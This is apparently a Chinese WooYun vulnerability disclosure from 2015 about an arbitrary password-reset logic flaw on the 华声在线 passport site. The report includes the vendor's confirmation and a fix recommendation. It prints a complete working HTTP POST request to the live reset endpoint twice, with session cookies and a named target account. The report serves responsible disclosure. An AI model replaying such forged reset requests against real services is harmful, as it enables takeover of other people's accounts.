当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148354

漏洞标题：华声在线任意重置用户密码

相关厂商：华声在线

漏洞作者： 路人甲

提交时间：2015-10-21 15:53

修复时间：2015-12-09 23:16

公开时间：2015-12-09 23:16

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-25： 厂商已经确认，细节仅向厂商公开
2015-11-04： 细节向核心白帽子及相关领域专家公开
2015-11-14： 细节向普通白帽子公开
2015-11-24： 细节向实习白帽子公开
2015-12-09： 细节向公众公开

简要描述：

华声在线任意重置用户密码
在忘记密码的url中，服务器只验证uid和id的合法性，
然后用户名和密码可以随意修改为其他用户
任意用户密码重置，秒改，非爆破

详细说明：

首先，用户正常申请忘记密码，填写自己的邮箱等到修改密码的url

w11.gif


得到合法的uid和id
uid=4829517&id=2w79k0
在burpsuit中
发送如下数据包，即可修改用户lings16316cn的密码，
用户名可以随意修改

POST /do.php?ac=lostpasswd&op=reset HTTP/1.1
Host: passport.voc.com.cn
Proxy-Connection: keep-alive
Content-Length: 143
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://passport.voc.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://passport.voc.com.cn/do.php?ac=lostpasswd&op=reset&uid=4829517&id=ip31Iq
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: userCity=-+%BD%AD%CB%D5%CA%A1%C4%CF%BE%A9%CA%D0+%B5%E7%D0%C5ADSL; ip_add=58.213.104.197; Hm_lvt_54d168345d20f9f8dd4cdd0eb49afd11=1445389256,1445389713; Hm_lpvt_54d168345d20f9f8dd4cdd0eb49afd11=1445389713; vocsso_seccode=7bdfFJIRWkXTTfJx1Gr3KHRSnLQkZeG7pYE8sxMqlPDa; VOC_SSO_UID=4829544
newpasswd1=test1111&newpasswd2=test1111&ucemail=hehe%40126.com&username=lings16316cn&resetsubmit=%D6%D8%C9%E8%C3%DC%C2%EB&uid=4829517&id=2w79k0


修改之后，登录成功

w12.gif


漏洞证明：

首先，用户正常申请忘记密码，填写自己的邮箱等到修改密码的url

w11.gif


得到合法的uid和id
uid=4829517&id=2w79k0
在burpsuit中
发送如下数据包，即可修改用户lings16316cn的密码，
用户名可以随意修改

POST /do.php?ac=lostpasswd&op=reset HTTP/1.1
Host: passport.voc.com.cn
Proxy-Connection: keep-alive
Content-Length: 143
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://passport.voc.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://passport.voc.com.cn/do.php?ac=lostpasswd&op=reset&uid=4829517&id=ip31Iq
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: userCity=-+%BD%AD%CB%D5%CA%A1%C4%CF%BE%A9%CA%D0+%B5%E7%D0%C5ADSL; ip_add=58.213.104.197; Hm_lvt_54d168345d20f9f8dd4cdd0eb49afd11=1445389256,1445389713; Hm_lpvt_54d168345d20f9f8dd4cdd0eb49afd11=1445389713; vocsso_seccode=7bdfFJIRWkXTTfJx1Gr3KHRSnLQkZeG7pYE8sxMqlPDa; VOC_SSO_UID=4829544
newpasswd1=test1111&newpasswd2=test1111&ucemail=hehe%40126.com&username=lings16316cn&resetsubmit=%D6%D8%C9%E8%C3%DC%C2%EB&uid=4829517&id=2w79k0


13.gif


修改之后，登录成功

w12.gif

修复方案：

需要验证uid和用户名还有id

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-10-25 23:14

厂商回复：

已经暂时停用该模块，转交程序员修正中。
感谢支持！

最新状态：

暂无